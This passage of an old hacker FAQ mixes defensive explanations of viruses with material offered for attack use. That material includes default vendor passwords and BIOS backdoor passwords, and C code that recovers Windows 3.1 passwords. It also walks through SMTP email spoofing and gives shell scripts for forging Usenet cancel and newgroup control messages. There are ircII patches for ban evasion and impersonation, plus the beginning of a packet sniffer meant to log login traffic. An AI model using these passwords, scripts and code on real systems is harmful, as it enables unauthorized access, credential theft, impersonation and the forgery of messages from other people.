bcms bcmspw, bcms
bcnas bcnspw
blue bluepw
browse looker, browsepw
craft crftpw, craftpw, crack

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cust custpw
enquiry enquirypw
field support
inads indspw, inadspw, inads
init initpw
kraft kraftpw
locate locatepw
maint maintpw, rwmaint
nms nmspw
rcust rcustpw
support supportpw
tech field

Taco Bell

rgm rollout
tacobell <null>

Verifone Junior 2.05


Default password: 166816

VMS

field service
systest utep

XON / XON Junior

Default password: 166831

A-19. What is a trojan/worm/virus/logic bomb?

This FAQ answer was written by Theora:

Trojan:

Remember the Trojan Horse? Bad guys hid inside it until they could get into the city to do their

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evil deed. A trojan computer program is similar. It is a program which does an unauthorized
function, hidden inside an authorized program. It does something other than what it claims to
do, usually something malicious (although not necessarily!), and it is intended by the author to
do whatever it does. If it's not intentional, its called a 'bug' or, in some cases, a feature :) Some
virus scanning programs detect some trojans. Some virus scanning programs don't detect any
trojans. No virus scanners detect all trojans.

Virus:

A virus is an independent program which reproduces itself. It may attach to other programs, it
may create copies of itself (as in companion viruses). It may damage or corrupt data, change
data, or degrade the performance of your system by utilizing resources such as memory or disk
space. Some virus scanners detect some viruses. No virus scanners detect all viruses. No virus
scanner can protect against "any and all viruses, known and unknown, now and forevermore".

Worm:

Made famous by Robert Morris, Jr., worms are programs which reproduce by copying
themselves over and over, system to system, using up resources and sometimes slowing down
the systems. They are self contained and use the networks to spread, in much the same way
viruses use files to spread. Some people say the solution to viruses and worms is to just not
have any files or networks. They are probably correct. We would include computers.

Logic Bomb:

Code which will trigger a particular form of 'attack' when a designated condition is met. For
instance, a logic bomb could delete all files on Dec. 5th. Unlike a virus, a logic bomb does not
make copies of itself.

A-20. How can I protect myself from viruses and such?

This FAQ answer was written by Theora:

The most common viruses are boot sector infectors. You can help protect yourself against
those by write protecting all disks which you do not need write access to. Definitely keep a set
of write protected floppy system disks. If you get a virus, it will make things much simpler.
And, they are good for coasters. Only kidding.

Scan all incoming files with a recent copy of a good virus scanner. Among the best are F-Prot,
Dr. Solomon's Anti-virus Toolkit, and Thunderbyte Anti-Virus. AVP is also a good program.
Using more than one scanner could be helpful. You may get those one or two viruses that the
other guy happened to miss this month.

New viruses come out at the rate of about 8 per day now. NO scanner can keep up with them
all, but the four mentioned here do the best job of keeping current. Any good scanner will
detect the majority of common viruses. No virus scanner will detect all viruses.

Right now there are about 5600 known viruses. New ones are written all the time. If you use a
scanner for virus detection, you need to make sure you get frequent updates. If you rely on
behavior blockers, you should know that such programs can be bypassed easily by a technique
known as tunnelling.

You may want to use integrity checkers as well as scanners. Keep in mind that while these can
supply added protection, they are not foolproof.

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You may want to use a particular kind of scanner, called resident scanners. Those are
programs which stay resident in the computer memory and constantly monitor program
execution (and sometimes even access to the files containing programs). If you try to execute a
program, the resident scanner receives control and scans it first for known viruses. Only if no
such viruses are found, the program is allowed to execute.

Most virus scanners will not protect you against many kinds of trojans, any sort of logic
bombs, or worms. Theoretically, they could protect you against logic bombs and/or worms, by
addition of scanning strings; however, this is rarely done.

The best, actually only way, to protect yourself is to know what you have on your system and
make sure what you have there is authorized by you. Make frequent backups of all important
files. Keep your DOS system files write protected. Write protect all disks that you do not need
to write to. If you do get a virus, don't panic. Call the support department of the company who
supplies your anti-virus product if you aren't sure of what you are doing. If the company you
got your anti-virus software from does not have a good technical support department, change
companies.

The best way to make sure viruses are not spread is not to spread them. Some people do this
intentionally. We discourage this. Viruses aren't cool.

A-21. Where can I get more information about viruses?

This FAQ answer was written by Theora:

Assembly language programming books illustrate the (boring) aspect of replication and have
for a long time. The most exciting/interesting thing about viruses is all the controversy around
them. Free speech, legality, and cute payloads are a lot more interesting than "find first, find
next" calls. You can get information about the technical aspects of viruses, as well as help if
you should happen to get a virus, from the virus-l FAQ, posted on comp. virus every so often.
You can also pick up on the various debates there. There are alt.virus type newsgroups, but the
level of technical expertise is minimal, and so far at least there has not been a lot of real "help"
for people who want to get -rid- of a virus.

There are a lot of virus experts. To become one, just call yourself one. Only Kidding.
Understanding viruses involves understanding programming, operating systems, and their
interaction. Understanding all of the 'Cult of Virus' business requires a lot of discernment.
There are a number of good papers available on viruses, and the Cult of Virus; you can get
information on them from just about anyone listed in the virus-l FAQ. The FTP site
ftp.informatik.uni-hamburg.de is a pretty reliable site for programs and text.

A-22. What is Cryptoxxxxxxx?

This FAQ answer is excerpted from Computer Security Basics by Deborah Russell and G.T.
Gengemi Sr.

A message is called either plaintext or cleartext. The process of disguising a message in such a
way as to hide its substance is called encryption. An encrypted message is called ciphertext.
The process of turning ciphertext back into plaintext is called decryption.

The art and science of keeping messages secure is called cryptography, and it is practiced by

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cryptographers. Cryptanalysts are practitioners of cryptanalysis, the art and science of


breaking ciphertext, i.e. seeing through the disguise. The branch of mathematics embodying
both cryptography and cryptanalysis is called cryptology, and it's practitioners are called
cryptologists.

A-23. What is PGP?

This FAQ answer is excerpted from PGP(tm) User's Guide; Volume I: Essential Topics by
Philip Zimmermann

PGP(tm) uses public-key encryption to protect E-mail and data files. Communicate securely
with people you've never met, with no secure channels needed for prior exchange of keys.
PGP is well featured and fast, with sophisticated key management, digital signatures, data
compression, and good ergonomic design.

Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a high security
cryptographic software application for MS-DOS, Unix, VAX/VMS, and other computers. PGP
allows people to exchange files or messages with privacy, authentication, and convenience.
Privacy means that only those intended to receive a message can read it. Authentication means
that messages that appear to be from a particular person can only have originated from that
person. Convenience means that privacy and authentication are provided without the hassles
of managing keys associated with conventional cryptographic software. No secure channels
are needed to exchange keys between users, which makes PGP much easier to use. This is
because PGP is based on a powerful new technology called "public key" cryptography.

PGP combines the convenience of the Rivest-Shamir-Adleman (RSA) public key cryptosystem
with the speed of conventional cryptography, message digests for digital signatures, data
compression before encryption, good ergonomic design, and sophisticated key management.
And PGP performs the public-key functions faster than most other software implementations.
PGP is public key cryptography for the masses.

A-24. What is Tempest?

Tempest stands for Transient Electromagnetic Pulse Surveillance Technology.

Computers and other electronic equipment release interference to their surrounding


environment. You may observe this by placing two video monitors close together. The pictures
will behave erratically until you space them apart.

What is important for an observer is the emission of digital pulses (1s and 0s) as these are used
in computers. The channel for this radiation is in two arrangements, radiated emissions and
conducted emissions. Radiated emissions are assembled when components in electrical devices
form to act as antennas. Conducted emissions are formed when radiation is conducted along
cables and wires.

Although most of the time these emissions are simply annoyances, they can sometimes be very
helpful. Suppose we wanted to see what project a target was working on. We could sit in a van
outside her office and use sensitive electronic equipment to attempt to pick up and decipher
the radiated emissions from her video monitor. These emissions normally exist at around
55-245 Mhz and can be picked up as far as one kilometer away.

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A monitoring device can distinguish between different sources emitting radiation because the
sources emanating the radiation are made up of dissimilar elements and so this coupled with
other factors varies the emitted frequency. For example different electronic components in
VDUs, different manufacturing processes involved in reproducing the VDUs, different line
syncs, etc... By synchronizing our raster with the targets raster we can passively draw the
observed screen in real-time. This technology can be acquired by anyone, not just government
agencies.

The target could shield the emissions from her equipment or use equipment that does not
generate strong emissions. However, Tempest equipment is not legal for civilian use in the
United States.

Tempest is the US Government program for evaluation and endorsement of electronic


equipment that is safe from eavesdropping. Tempest certification refers to the equipment
having passed a testing phase and agreeing to emanations rules specified in the government
document NACSIM 5100A (Classified). This document sets forth the emanation levels that the
US Government believes equipment can give off without compromising the information it is
processing.

A-25. How do I defeat Copy Protection?

There are two common methods of defeating copy protection. The first is to use a program that
removes copy protection. Popular programs that do this are CopyIIPC from Central Point
Software and CopyWrite from Quaid Software. The second method involves patching the copy
protected program. For popular software, you may be able to locate a ready made patch. You
can them apply the patch using any hex editor, such as debug or the Peter Norton's DiskEdit. If
you cannot, you must patch the software yourself.

Writing a patch requires a debugger or a disassembler. It also requires some knowledge of


assembly language. Load the protected program under the debugger and watch for it to check
the protection mechanism. When it does, change that portion of the code. The code can be
changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to JMP (Jump
Unconditionally). Or the code may simply be replaced with NOP (No Operation) instructions.

A-26. What are some available debuggers and disassemblers?

Debuggers

Soft-Ice ($439)
Soft-Ice for Windows ($329)
Soft-Ice for Windows95 ($329)
Soft-Ice for WindowsNT ($329)
Nu-Mega Technologies, Inc.
9 Townsend West
Nashua, NH 03063
http://www.compuware.com/products/numega/index.htm
(603)889-2386
(800)468-6342

D86: Eric Isaacson's ShareWare debugger


http://eji.com/a86/

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BrandX full-screen debugger


ftp://ftp.cdrom.com/pub/simtelnet/msdos/asmutl/bxd26.zip

Disassemblers

Sourcer ($95)
V Communications, Inc.
4320 Stevens Creek Boulevard
Suite 120
San Jose, CA 95129
(408)296-4224
(408)296-4441 Fax
http://www.v-com.com/product/devsou1.html E-mail: sales@v-com.com

IDA Pro(Interactive Disassembler)


http://www.datarescue.com/

A-27. How do I defeat a BIOS password?

This depends on what BIOS the machine has. Common BIOS's include AMI, Award, IBM and
Phoenix. Numerous other BIOS's do exist, but these are the most common.

Some BIOS's allow you to require a password be entered before the system will boot. Some
BIOS's allow you to require a password to be entered before the BIOS setup may be accessed.

Every BIOS must store this password information somewhere. If you are able to access the
machine after it has been booted successfully, you may be able to view the password. You
must know the memory address where the password is stored, and the format in which the
password is stored. Or, you must have a program that knows these things.

You can write your own program to read the CMOS memory on a PC by writing the address of
the byte of CMOS memory that you wish to read in port 0x370, and then reading the contents
of port 0x371.

The most common pre-written BIOS password attack programs are for AMI BIOS. Some
password attack programs will return the AMI BIOS password in plain text, some will return it
in ASCII codes, some will return it in scan codes. This appears to be dependent not just on the
password attacker, but also on the version of AMI BIOS.

To obtain AMI BIOS password attackers, ftp to oak.oakland.edu /pub/simtelnet/msdos/sysutl/.

Award BIOS appears not to store the BIOS password, but instead only stores a two byte
checksum of the BIOS password. This means that any other password with the same checksum
will work just as well as the original password.

In addition, Award BIOS seems to implement backdoor passwords. One backdoor password is
eight spaces. Other backdoor passwords are "AWARD_SW", "AWARD_PW", "589589",
"condo", "j262", "KDD", "ZBAAACA", "ZAAAADA", and "ZJAAADC." Remember that
these may not be the actual backdoor passwords, these passwords may simply have the same
checksum as the actual backdoor passwords. This checksum is stored at F000:EC60.

If you cannot access the machine after if has been powered up, it is still possible to get past the

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password. The password is stored in CMOS memory that is maintained while the PC is
powered off by a small battery, which is attached to the motherboard. If you remove this
battery, all CMOS information will be lost. You will need to re-enter the correct CMOS setup
information to use the machine. The machines owner or user will most likely be alarmed when
it is discovered that the BIOS password has been deleted.

On some motherboards, the battery is soldered to the motherboard, making it difficult to


remove. If this is the case, you have another alternative. Somewhere on the motherboard you
should find a jumper that will clear the BIOS password. If you have the motherboard
documentation, you will know where that jumper is. If not, the jumper may be labeled on the
motherboard. If you are not fortunate enough for either of these to be the case, you may be
able to guess which jumper is the correct jumper. This jumper is usually standing alone near
the battery. If you cannot locate this jumper, you might short both of the points where the
battery connects to the motherboard. Several people have reported positive results from doing
this, but I haven't wanted to test it on any of my own motherboards.

A-28. What is the password for <encrypted file>?

This FAQ answer was written by crypt <crypt@nyongwa.montreal.qc.ca>

Magazine Password
VLAD Magazine Issue #1 vlad
VLAD Magazine Issue #2 vx
VLAD Magazine Issue #3 virus
NuKE InfoJournal Issue #2 514738
NuKE InfoJournal Issue #3 power
NuKE InfoJournal Issue #4 party

Program

Sphere Hacker 1.40 & 1.41 theozone


Virus Creation 2000 high level
Virus Construction Lab Chiba City
Ejecutor Virus Creator EJECUTOR
Biological Warfare v0.90 lo tek
Biological Warfare v1.00 freak

A-29. Is there any hope of a decompiler that would convert an executable program into C/C++
code?

This FAQ answer is an excerpt from SNIPPETS by Bob Stout:

Don't hold your breath. Think about it... For a decompiler to work properly, either 1) every
compiler would have to generate substantially identical code, even with full optimization
turned on, or 2) it would have to recognize the individual output of every compiler's code
generator.

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If the first case were to be correct, there would be no more need for compiler benchmarks
since every one would work the same. For the second case to be true would require in
immensely complex program that had to change with every new compiler release.

OK, so what about specific decompilers for specific compilers - say a decompiler designed to
only work on code generated by, say, BC++ 4.5? This gets us right back to the optimization
issue. Code written for clarity and understandability is often inefficient. Code written for
maximum performance (speed or size) is often cryptic (at best!) Add to this the fact that all
modern compilers have a multitude of optimization switches to control which optimization
techniques to enable and which to avoid. The bottom line is that, for a reasonably large,
complex source module, you can get the compiler to produce a number of different object
modules simply by changing your optimization switches, so your decompiler will also have to
be a deoptimizer which can automagically recognize which optimization strategies were
enabled at compile time.

OK, let's simplify further and specify that you only want to support one specific compiler and
you want to decompile to the most logical source code without trying to interpret the
optimization. What then? A good optimizer can and will substantially rewrite the internals of
your code, so what you get out of your decompiler will be, not only cryptic, but in many cases,
riddled with goto statements and other no-no's of good coding practice. At this point, you have
decompiled source, but what good is it?

Also note carefully my reference to source modules. One characteristic of C is that it becomes
largely unreadable unless broken into easily maintainable source modules (.C files). How will
the decompiler deal with that? It could either try to decompile the whole program into some
mammoth main() function, losing all modularity, or it could try to place each called function
into its own file. The first way would generate unusable chaos and the second would run into
problems where the original source hade files with multiple functions using static data and/or
one or more functions calling one or more static functions. A decompiler could make static
data and/or functions global but only at the expense or readability (which would already be
unacceptable).

Finally, remember that commercial applications often code the most difficult or time-critical
functions in assembler which could prove almost impossible to decompile into a C equivalent.

Like I said, don't hold your breath. As technology improves to where decompilers may become
more feasible, optimizers and languages (C++, for example, would be a significantly tougher
language to decompile than C) also conspire to make them less likely.

For years Unix applications have been distributed in shrouded source form (machine but not
human readable -- all comments and whitespace removed, variables names all in the form
OOIIOIOI, etc.), which has been a quite adequate means of protecting the author's rights. It's
very unlikely that decompiler output would even be as readable as shrouded source.

A-30. How does the MS-Windows password encryption work?

This FAQ answer was written by Wayne Hoxsie <hoxsiew@crl.com>:

The password option in MS Win 3.1 is easily defeated, but there are those of us who really
want to know how MS does this. There are many reasons why knowing the actual password
can be useful. Suppose a sysamin used the same password in the windows screen saver as his
root account on a unix box.

Anyway, I will attempt to relay what I have learned about this algorithm.

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I will describe the process starting after you've entered the password and hit the [OK] button.

I will make the assumtion that everyone (at least those interested) know what the XOR
operation is.

First, the length of the password is saved. We'll call this 'len'. We will be moving characters
from the entered string into another string as they are encrypted. We'll call the originally
entered password 'plaintext' and the encrypted string(strings--there are two passes) 'hash1' and
'hash2.' The position in the plaintext is important during the process so we'll refer to this as
'pos.' After each step of the hashing process, the character is checked against a set of
characters that windows considers 'special.' These characters are '[ ] =' and any character
below ASCII 33 or above ASCII 126. I'll refer to this checking operation as 'is_ok.' All indecies
are zero-based (i.e. an 8 character password is considered chars 0 to 7).

Now, the first character of 'plaintext' is xor'd with 'len' then fed to 'is_ok'. if the character is not
valid, it is replaced by the original character of 'plaintext' before going to the next operation.
The next operation is to xor with 'pos' (this is useless for the first operation since 'len' is 0 and
anything xor'd with zero is itself) then fed to 'is_ok' and replaced with the original if not valid.
The final operation (per character) is to xor it with the previous character of 'plaintext'. Since
there is no previous character, the fixed value, 42, is used on the first character of 'plaintext'.
This is then fed to 'is_ok' and if OK, it is stored into the first position of 'hash1' This process
proceeds until all characters of plaintext are exhausted.

The second pass is very similar, only now, the starting point is the last character in hash1 and
the results are placed into hash2 from the end to the beginning. Also, instead of using the
previous character in the final xoring, the character following the current character is used.
Since there is no character following the last character in hash1, the value, 42 is again used for
the last character.

'hash2' is the final string and this is what windows saves in the file CONTROL.INI.

To 'decrypt' the password, the above procedure is just reversed.

Now, what you've all been waiting for. Here is some C code that will do the dirty work for
you:
#include <stdlib.h>
#include <stdio.h>

#include <string.h>

int xor1(int i,int j)


{
int x;

x=i^j;
return (x>126||x<33||x==91||x==93||x==61)?i:x;
}
void main()
{
FILE *f;
int i,l;
char s[80],s1[80];

printf("Please enter the path to your Windows directory\n");


gets(s1);
sprintf(s,"%s%scontrol.ini",s1,s1[strlen(s1)-1]=='\\'?"":"\\");
if((f=fopen(s,"rt"))==NULL){
printf("File Error : %s\n",sys_errlist[errno]);
exit(0);
}
while(strnicmp(fgets(s1,70,f),"password",8)!=0&&!feof(f));

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fclose(f);
strtok(s1,"=\n");
strcpy(s,strtok(NULL,"\n"));
i=strlen(s)-1;
for(l=i;l>-1;l--)
s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1);
for(l=0;l<i+1;l++)
s[l]=xor1(xor1(xor1(s1[l],l?s1[l-1]:42),l?l:0),i+1);
printf("The Password is: %s\n",s);
}

A-31. What is an Intrusion Detection System (IDS)?

An Intrusion Detection System is a system for detecting misuse of network or computer


resources.

An IDS will have a number of sensors it utilizes to detect intrusions. Example sensors may be:

A sensor to monitor TCP connection requests.


Log file monitors.
File integrity checkers.

The IDS system is responsible for collecting data from it's sensors and analyzing this data to
give the security administrator notice of malicious activity on the network.

Section B -- Data Networks

B-01. How do I send fakemail?

Telnet to port 25 of the machine you want the mail to appear to originate from. This will
connect you directly to the SMTP (Simple Mail Transfer Protocol) daemon running on that
host. Then, enter SMTP commands by hand directly to the SMTP daemon.

Enter your message as in this example:

HELO bellcore.com
MAIL FROM:voyager@bellcore.com
RCPT TO:president@whitehouse.gov
DATA
Date: Thu, 31 Dec 1998 12:16:35 -0500 (EST)
From: voyager@bellcore.com (The Voyager)
To: president@whitehouse.gov
Subject: Clipper
Reply-To: voyager@bellcore.com

Please discontinue your silly Clipper initiative.

.
QUIT

On systems that have RFC 931 implemented, spoofing your "MAIL FROM:" line will not

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work. Test by sending yourself fakemail first.

Newer SMTP daemons, such as smail 3.1.29.1+ or sendmail 8.7+, perform an identd check
when you connect to them. These SMTP daemons are impossible to completely spoof without
first spoofing identd.

For more information read RFC 822 (Standard for the format of ARPA Internet text
messages).

Note that the headers inside the DATA statement should be optional, but are actually required
by some mailers. Even when not required, they often help your message appear genuine.

To locate an SMTP server for a domain, use `nslookup` and set your querytype to MX.

B-02. How do I fake posts and control messages to Usenet?

From: Anonymous (Pretending to be: tale@uunet.uu.net (David C Lawrence))


Subject: FAQ: Better living through forgery
Date: 19 Mar 1995 02:37:09 GMT

Anonymous netnews without "anonymous" remailers

Inspired by the recent "NetNews Judges-L" events, this file has been updated to cover forging
control messages, so you can do your own article canceling and create and destroy your own
newsgroups.

Save any news article to a file. We'll call it "hak" in this example.

Edit "hak", and remove any header lines of the form

From some!random!path!user (note: "From ", not "From: "!!!)


Article:
Lines:
Xref:

Shorten the Path header down to its LAST two or three "bangized" components. This is to
make the article look like it was posted from where it really was posted, and originally hit the
net at or near the host you send it to. Or you can construct a completely new Path: line to
reflect your assumed alias. Make some change to the Message ID: field, that isn't likely to be
duplicated anywhere. This is usually best done by adding a couple of random characters to the
part before the @, since news posting programs generally use a fixed-length field to generate
these IDs.

Change the other headers to say what you like -- From:, Newsgroups:,

Sender:, etc. Replace the original message text with your message. If
you are posting to a moderated group or posting a control message,
remember to put in an Approved: header to bypass the moderation
mechanism.

To specifically cancel someone else's article, you need its message-ID. Your message headers,

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in addition to what's already there, should also contain the following with that message-ID in it.
This makes it a "control message". NOTE: control messages generally require an

Approved: header as well, so you should add one.

Subject: cmsg cancel <xb8700A@twits.site.com>


Control: cancel <xb8700A@twits.site.com>
Approved: luser@twits.site.com

Newsgroups are created and destroyed with control messages, too. If you wanted to create, for
instance, comp.misc.microsoft.sucks, your control headers would look like

Subject: cmsg newgroup comp.misc.microsoft.sucks


Control: newgroup comp.misc.microsoft.sucks

Add on the string "moderated" at the end of these if you want the group to be "moderated with
no moderator" as with alt.hackers. Somewhere in the body of your message, you should
include the following text, changed with the description of the group you're creating:

For your newsgroups file:

comp.misc.microsoft.sucks We don't do windows

To remove a group, substitute "rmgroup" for "newgroup" in the header lines above. Keep in
mind that most sites run all "rmgroup" requests through a human news-master, who may or
may not decide to honor it. Group creation is more likely to be automatic than deletion at most
installations. Any newsgroup changes are more likely to take effect if the come from me, since
my name is hardwired into many of the NNTP control scripts, so using the From: and
Approved: headers from this posting is recommended.

Save your changed article, check it to make sure it contains NO reference to yourself or your
own site, and send it to your favorite NNTP server that permits transfers via the IHAVE
command, using the following script:
#! /bin/sh
## Post an article via IHAVE.
## args: filename server

if test "$2" = "" ; then


echo usage: $0 filename server
exit 1
fi
if test ! -f $1 ; then
echo $1: not found
exit 1
fi

# suck msg-id out of headers, keep the brackets


msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
sed 's/.*-[Ii][Dd]: //'`
echo $msgid

( sleep 5
echo IHAVE $msgid
sleep 5
cat $1
sleep 1
echo "."

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sleep 1
echo QUIT ) | telnet $2 119

If your article doesn't appear in a day or two, try a different server. They are easy to find.
Here's a script that will break a large file full of saved netnews into a list of hosts to try. Edit
the output of this if you want, to remove obvious peoples' names and other trash.
#! /bin/sh
FGV='fgrep -i -v'
egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
/g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp

Once you have your host list, feed it to the following script.
#! /bin/sh

while read xx ; do
if test "$xx" = "" ; then continue;
fi
echo === $xx
( echo open $xx 119
sleep 5
echo ihave IamSOk00l@podunk.edu
sleep 4
echo .
echo quit
sleep 1
echo quit
) | telnet
done

If the above script is called "findem" and you're using csh, you should do:

findem < list >& outfile

so that ALL output from telnet is captured. This takes a long time, but when it finishes, edit
"outfile" and look for occurrences of "335". These mark answers from servers that might be
willing to accept an article. This isn't a completely reliable indication, since some servers
respond with acceptance and later drop articles. Try a given server with a slightly modified
repeat of someone else's message, and see if it eventually appears.

Sometimes the telnets get into an odd state, and freeze, particularly when a host is refusing
NNTP connections. If you manually kill these hung telnet processes but not the main script,
the script will continue on. In other words, you may have to monitor the finding script a little
while it is running.

You will notice other servers that don't necessarily take an IHAVE, but say "posting ok". You
can probably do regular POSTS through these, but they will add an "NNTP-Posting-Host: "
header containing the machine YOU came from and are therefore unsuitable for completely
anonymous use.

Please use the information in this article for constructive purposes only.

B-03. How do I hack ChanOp on IRC?

Find a server that is split from the rest of IRC and create your own channel there using the
name of the channel you want ChanOp on. When that server reconnects to the net, you will

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have ChanOp on the real channel. If you have ServerOp on a server, you can cause it to split
on purpose.

B-04. How do I modify the IRC client to hide my real username?

Note: This FAQ answer was written by someone else, but I do not know who. If you know
who originally wrote this, please e-mail me.

Applying these changes to the source code for your ircII client and recompiling gives you a
new ircII command: /NEWUSER. This new command can be used as follows:

/NEWUSER <new_username> [new_IRCNAME]


<new_username> is a new username to use and is required
[new_IRCNAME] is a new IRCNAME string to use and is optional
This will disconnect you from your server and reconnect using
the new information given. You will rejoin all channel you
are currently on and keep your current nickname.

The effect is basically changing your username/IRCname on the fly. Although you are
disconnected from your server and reconnected, the ircII client is never exited, thus keeping
all your state information and aliases intact. This is ideal for bots that wish to be really
obnoxious in ban evasion. ;)

As this is now a new command in ircII, it can be used in scripts. Be aware that the reconnect
associated with the NEWUSER command takes time, so TIMER any commands that must
immediately follow the NEWUSER. For example... ban evasion made easy (but beware
infinite reconnects when your site is banned):
on ^474 * {
echo *** Banned from channel $1
if ($N == [AnnMurray]) {
nick $randomstring
join $1
} {
nick AnnMurray
newuser $randomstring
timer 5 join $1
}
}

Or just to be annoying... a /BE <nickname> alias that will assume a person's username and
IRCNAME:
alias be {
^on ^311 * {
^on 311 -*
newuser $2 $5-
}
whois $0
}

Now... in order to add this command to your ircII client, get the latest client source (or
whatever client source you are using). Cd into the source directory and edit the file "edit.c".
Make the following changes:

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Locate the line which reads:


extern void server();

Insert the following line after it:


static void newuser();

This pre-defines a new function "newuser()" that we'll add later.

Now, locate the line which reads:


"NAMES", "NAMES", funny_stuff, 0,

Insert the following line after it:

"NEWUSER", NULL, newuser, 0,

This adds a new command NEWUSER to the list of valid IRCII commands, and tells it to call
our new function newuser() to perform it.

Finally, go the bottom of the file and add the following code as our new function "newuser()":
/*
* newuser: the /NEWUSER command. Added by Hendrix
* Parameters as follows:
* /NEWUSER [new_IRCNAME]
* is a new username to use and is required
* [new_IRCNAME] is a new IRCNAME string to use and is optional
* This will disconnect you from your server and reconnect using
* the new information given. You will rejoin all channels you
* are currently on and keep your current nickname.
*/

static void newuser(command, args)


char *command,
*args;
{
char *newuname;

if (newuname = next_arg(args, &args))


{
strmcpy(username, newuname, NAME_LEN);
if (*args)
strmcpy(realname, args, REALNAME_LEN);
say("Reconnecting to server...");
close_server(from_server);
if (connect_to_server(server_list[from_server].name,
server_list[from_server].port, primary_server) !=
-1)
{
change_server_channels(primary_server,
from_server);
set_window_server(-1, from_server, 1);
}
else

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say("Unable to reconnect. Use /SERVER to


connect.");
}
else
say("You must specify a username and, optionally, an
IRCNAME");
}

/NEWUSER will not hide you from a CTCP query. To do that, modify ctcp.c as shown in the
following diff and set an environment variable named CTCPFINGER with the information you
would like to display when queried.
*** ctcp.old
--- ctcp.c
***************
*** 334 ****
! char c;
--- 334 ---
! char c, *fing;
***************
*** 350,354 ****
! if (pwd = getpwuid(uid))
{
char *tmp;
--- 350,356 ----
! if (fing = getenv("CTCPFINGER"))
! send_ctcp_reply(from, ctcp->name, fing, diff,
c);
! else if (pwd = getpwuid(uid))
{
char *tmp;

B-05. What is sniffing?

Sniffing is listening (with software) to the raw network device for packets that interest you.
When your software sees a packet that fits certain criteria, it logs it to a file. The most common
criteria for an interesting packet is one that contains words like "login" or "password."

You will have to obtain or code a sniffer that is capable of working with the appropriate type
of network interface. Popular network interfaces include NIT (Network Interface Tap), and
DLPI (Data Link Provider Interface), and BPF (Berkeley Packet Filter.)

LLI was a network interface used by SCO, which has been augmented with DLPI support as
of SCO OpenServer Release V. NIT was a network interface used by Sun, but has been
replaced in later releases of SunOS/Solaris with DLPI. Ultrix supported the Ultrix Packet Filter
before Digital implemented support for BPF.

DLPI is supported under current releases of System V Release 4, SunOS/Solaris, AIX, HP/UX,
UnixWare, Irix, and MacOS. DLPI is partially supported under Digital Unix. Sun DLPI version
2 supports Ethernet, X.25 LAPB, SDLC, ISDN LAPD, CSMA/CD, FDDI, token ring, token
bus, and Bisync as data-link protocols. The DLPI network interface provided with HP/UX
supports Ethernet/IEEE 802.3, IEEE 802.5, FDDI, and Fibre Channel.

For more information regarding DLPI refer to the DLPI Specification or the paper "How to
Use DLPI in Solaris 2.x" by Neal Nuckolls.

BPF is supported under current releases of BSD and Digital Unix, and has been ported to

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SunOS and Solaris. AIX supports BPF reads, but not writes. A BPF library is available for
Linux.

Many sniffers are available for various operating systems:

Sniffer Platform(s) URL


Ethereal Most http://www.ethereal.com/
tcpdump Most http://www.tcpdump.org/
snort Most http://www.snort.org/
nettl/netfmt HP-UX http://www.compute-aid.com/nettl.html
ftp://ftp.cerias.purdue.edu/pub/tools/unix/netutils
nfswatch (NFS sniffer) Unix
/nfswatch/
http://www.ja.net/CERT/Software/netman
Etherman Unix
/etherman/etherman-1.1a/
snoop Solaris
etherfind SunOS
http://www.umich.edu/~archive/msdos
The Gobbler DOS
/communications/wattcp/delft/gobbler.zip
LanWatch DOS/Windows http://www.guesswork.com/
http://msdn.microsoft.com/library/default.asp?url=
Microsoft Networm
Windows /library/en-us/netmon/netmon
Monitor (Netmon)
/using_network_monitor_2_0.asp
DOS, Windows, http://www.sharpeware.com/r5now/swstatic2.nsf
Netwatch
NetWare /html/netwatch
Windows,
Etherpeek http://www.wildpackets.com/products
Macintosh
NetMinderEthernet Macintosh http://www.neon.com/NetMinder_Ethernet.html
Sniff'em Windows http://www.sniff-em.com/
Network Associates
Windows http://www.sniffer.com/products/
Sniffer Pro

Here is source code for a sample ethernet sniffer using NIT under SunOS 4.x:

/* Esniff.c */

#include <stdio.h>
#include <ctype.h>
#include <string.h>

#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>

#include <sys/ioctl.h>

#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>

#include <netinet/in.h>

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#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>

#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

#include <netdb.h>
#include <arpa/inet.h>

#define ERR stderr

char *malloc();
char *device,
*ProgName,
*LogName;
FILE *LOG;
int debug=0;

#define NIT_DEV "/dev/nit"


#define CHUNKSIZE 4096 /* device buffer size */
int if_fd = -1;
int Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }

#define IP ((struct ip *)Packet)


#define IP_OFFSET (0x1FFF)
#define SZETH (sizeof(struct ether_header))
#define IPLEN (ntohs(ip->ip_len))
#define IPHLEN (ip->ip_hl)
#define TCPOFF (tcph->th_off)
#define IPS (ip->ip_src)
#define IPD (ip->ip_dst)
#define TCPS (tcph->th_sport)
#define TCPD (tcph->th_dport)
#define IPeq(s,t) ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN (128)


time_t LastTIME = 0;

struct CREC {
struct CREC *Next,
*Last;
time_t Time; /* start time */
struct in_addr SRCip,
DSTip;
u_int SRCport, /* src/dst ports */
DSTport;
u_char Data[MAXBUFLEN+2]; /* important stuff :-) */
u_int Length; /* current data length */
u_int PKcnt; /* # pkts */
u_long LASTseq;
};

struct CREC *CLroot = NULL;

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char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

return( (he)?(he->h_name):(inet_ntoa(ip)) );
}

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
